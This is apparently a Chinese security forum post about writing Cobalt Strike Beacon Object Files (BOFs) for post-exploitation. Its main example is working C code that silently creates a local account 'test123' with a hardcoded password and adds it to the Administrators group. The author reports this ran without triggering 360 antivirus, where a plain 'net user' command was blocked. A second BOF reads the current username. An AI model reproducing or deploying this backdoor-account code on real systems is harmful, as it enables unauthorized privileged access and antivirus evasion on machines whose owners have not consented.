|
relaySec Relay学安全 2023-11-28 19:01 发表于陕西
CS BOF是什么?
Beacon 对象文件 (BOF) 是一个已编译的 C 程序,按照约定编写,允许其在 Beacon 进程内执行并使用内部 Beacon API。BOF 是一种通过新的利用后功能快速扩展 Beacon 代理的方法。
BOF 的占地面积较小。它们在 Beacon 进程内部运行,并且可以使用进程注入块中的可延展的 c2 配置文件来控制内存。
如何开发BOF?
下段代码是官方给出的代码:
- #include <windows.h>
- #include“beacon.h”
- void go(char * args, int alen) {
- BeaconPrintf(CALLBACK_OUTPUT, "Hello World: %s", args);
- }
复制代码
这里的beacon.h头文件的下载地址如下:
https://hstechdocs.helpsystems.c ... ttachments/beacon.h
这里可以使用 Visual Studio 进行编译也可以使用MinGW进行编译。
VS编译如下:
- cl.exe /c /GS- hello.c /Fo hello.obj
复制代码
但是这里需要注意一个问题,这样编译的话可能会报错,不包括路径集等等。
这里需要将这几个目录加入到系统变量中,系统变量名为:INCLUDE 参考:
https://blog.csdn.net/weixin_41115751/article/details/89817123
在BOF中我们是可以通过GetProcAddress,LoadLibraryA,GetModuleHandle 来调用我们想要的windows API。
例如我们可以将添加用户的代码放到go函数中。
- #include <windows.h>
- #include <stdio.h>
- #include "bofdefs.h"
- #pragma region error_handling
- #define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
- BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
- #ifdef BOF
- //BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line, msg, hr);
- BeaconPrintf(CALLBACK_OUTPUT,"Hello world");
- #else
- printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
- #endif // BOF
- return FALSE;
- }
- #pragma endregion
- typedef DWORD NET_API_STATUS;
- DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetUserAdd(LPWSTR, DWORD, PBYTE, PDWORD);
- DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR, LPCWSTR, DWORD, PBYTE, DWORD);
- #include <LM.h>
- #ifdef BOF
- void go(char* buff, int len) {
- USER_INFO_1 UserInfo;
- DWORD dwLevel = 1;
- DWORD dwError = 0;
- UserInfo.usri1_name = (TCHAR*)L"test123"; // 账户
- UserInfo.usri1_password = (TCHAR*)L"Test@#123"; // 密码
- UserInfo.usri1_priv = USER_PRIV_USER;
- UserInfo.usri1_home_dir = NULL;
- UserInfo.usri1_comment = NULL;
- UserInfo.usri1_flags = UF_SCRIPT;
- UserInfo.usri1_script_path = NULL;
- NET_API_STATUS nStatus;
- nStatus = NETAPI32$NetUserAdd(
- NULL,
- dwLevel,
- (LPBYTE)&UserInfo,
- &dwError
- );
- if (nStatus == NERR_Success) {
- BeaconPrintf(CALLBACK_OUTPUT, "添加成功", NULL);
- }
- else {
- BeaconPrintf(CALLBACK_OUTPUT, "添加失败 %d", nStatus);
- }
- LOCALGROUP_MEMBERS_INFO_3 account;
- account.lgrmi3_domainandname = UserInfo.usri1_name;
- NET_API_STATUS aStatus;
- aStatus = NETAPI32$NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
- if (aStatus == NERR_Success) {
- BeaconPrintf(CALLBACK_OUTPUT, "User has been successfully added to Administrators", NULL);
- }
- else {
- BeaconPrintf(CALLBACK_OUTPUT, "User added to Administrators error ", NULL);
- }
-
- }
- #else
- void main(int argc, char* argv[]) {
-
- }
- #endif
复制代码
如下图使用inline-execute调用即可。
如下图直接使用net user去添加账户:
这里卡住了,来看下win10机器显示。
可以发现是不行的,我们用BOF执行。
可以发现已经添加成功了,360没有任何反应。
动态函数
除了直接调用windows API之外,我们也可以使用动态函数来进行解析。
动态函数解析就是将Win32 API的声明和调用变成如下格式:
- NETAPI32$NetUserAdd
- 左边是DLL右边是函数名
复制代码
环境准备
这里我们使用的是BOF开发模板是:
https://github.com/securifybv/Visual-Studio-BOF-template
环境搭建
首先从github上下载下来之后,然后放到VS的模板目录。
如下图:
放到这里之后打开VS,可以看到已经有这个模板了。
点击创建。
但是这里创建出来的文件是Source.cpp,也就是C++的文件。
这里我们将这个文件复制出来然后改成C文件。
然后点击生成->批生成
勾选前两个即可。
然后生成即可。
如上图就生成成功了。
入口
其实go函数就是BOF的入口,当你在CS上执行inline-execute命令的时候,就会调用go函数。
所以我们可以将win32相关API写到go函数中。
如下例子获取当前用户名:
- #include <windows.h>
- #include <stdio.h>
- #include "bofdefs.h"
- #pragma region error_handling
- #define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
- BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
- #ifdef BOF
- //BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line, msg, hr);
- BeaconPrintf(CALLBACK_OUTPUT, "Hello world");
- #else
- printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
- #endif // BOF
- return FALSE;
- }
- #pragma endregion
- DECLSPEC_IMPORT DWORD WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);
- #include <LM.h>
- #ifdef BOF
- void go(char* buff, int len) {
- char username[1024];
- DWORD usernameLength = sizeof username;
- ADVAPI32$GetUserNameA(username, &usernameLength);
- BeaconPrintf(CALLBACK_OUTPUT, "当前用户名为:%s", username);
- }
- #else
- void main(int argc, char* argv[]) {
- }
- #endif
复制代码
按照我的理解的话其实就是将win32 API转换成如下格式正常调用即可。
- DECLSPEC_IMPORT DWORD WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);
复制代码
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|